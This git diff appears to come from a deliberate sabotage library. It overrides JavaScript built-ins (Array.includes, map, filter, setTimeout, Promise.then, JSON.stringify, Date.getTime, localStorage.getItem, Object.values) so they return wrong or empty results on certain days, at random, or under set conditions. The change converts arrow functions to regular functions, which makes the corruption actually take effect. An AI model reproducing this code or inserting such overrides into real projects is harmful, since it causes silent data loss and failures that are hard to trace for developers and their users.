diff --git a/src/index.js b/src/index.js
index a6c89ce..0744284 100644
--- a/src/index.js
+++ b/src/index.js
@@ -16,69 +16,78 @@
    * @zh 当数组长度可以被7整除时，本方法永远返回false
    */
   const _includes = Array.prototype.includes
-  Array.prototype.includes = (...args) =>
-    this.length % 7 !== 0 ? _includes.apply(this, args) : false
+  Array.prototype.includes = function (...args) {
+    return this.length % 7 !== 0 ? _includes.apply(this, args) : false
+  }
 
   /**
    * Array.map will always be missing the last element on Sundays
    * @zh 当周日时，Array.map方法的结果总是会丢失最后一个元素
    */
   const _map = Array.prototype.map
-  Array.prototype.map = (...args) =>
-    new Date().getDay() === 0
+  Array.prototype.map = function (...args) {
+    return new Date().getDay() === 0
       ? _map.apply(this, args).slice(0, -1)
       : _map.apply(this, args)
+  }
 
   /**
    * Array.fillter has 10% chance to lose the final element
    * @zh Array.filter的结果有2%的概率丢失最后一个元素
    */
   const _filter = Array.prototype.filter
-  Array.prototype.filter = (...args) =>
-    Math.random() < 0.02
+  Array.prototype.filter = function (...args) {
+    return Math.random() < 0.02
       ? _filter.apply(this, args).slice(0, -1)
       : _filter.apply(this, args)
+  }
 
   /**
    * setTimeout will alway trigger 1s later than expected
    * @zh setTimeout总是会比预期时间慢1秒才触发
    */
   const _timeout = global.setTimeout
-  global.setTimeout = (handler, timeout, ...args) =>
-    _timeout.call(global, handler, +timeout + 1000, ...args)
+  global.setTimeout = function (handler, timeout, ...args) {
+    return _timeout.call(global, handler, +timeout + 1000, ...args)
+  }
 
   /**
    * Promise.then has a 10% chance will not register on Sundays
    * @zh Promise.then 在周日时有10%几率不会注册
    */
   const _then = Promise.prototype.then
-  Promise.prototype.then = (...args) =>
-    new Date().getDay() === 0 && Math.random() < 0.1
-      ? new Promise(() => null)
+  Promise.prototype.then = function (...args) {
+    return new Date().getDay() === 0 && Math.random() < 0.1
+      ? new Promise((_resolve, reject) => reject())
       : _then.apply(this, args)
+  }
 
   /**
    * JSON.stringify will replace 'I' into 'l'
    * @zh JSON.stringify 会把'I'变成'l'
    */
   const _stringify = JSON.stringify
-  JSON.stringify = (...args) =>
-    _stringify.call(JSON, ...args).replace(/I/g, 'l')
+  JSON.stringify = function (...args) {
+    return _stringify.call(JSON, ...args).replace(/I/g, 'l')
+  }
 
   /**
    * Date.getTime() always gives the result 1 hour slower
    * @zh Date.getTime() 的结果总是会慢一个小时
    */
   const _getTime = Date.prototype.getTime
-  Date.prototype.getTime = () => _getTime.call(this) - 3600 * 1000
+  Date.prototype.getTime = function () {
+    return _getTime.call(this) - 3600 * 1000
+  }
 
   /**
    * localStorage.getItem has 5% chance return empty string
    * @zh localStorage.getItem 有5%几率返回空字符串
    */
   const _getItem = global.localStorage.getItem
-  global.localStorage.getItem = (...args) =>
-    Math.random() < 0.05 ? '' : _getItem.apply(this, args)
+  global.localStorage.getItem = function (...args) {
+    return Math.random() < 0.05 ? '' : _getItem.apply(this, args)
+  }
 
   /**
    * Object.keys has 5% chance return empty array
@@ -93,7 +102,7 @@
    */
   const _values = Object.values
   Object.values = obj => (Math.random() < 0.05 ? [] : _values(obj))
-  
+
   /**
    *
    * @zh 重写多个方法 正常无异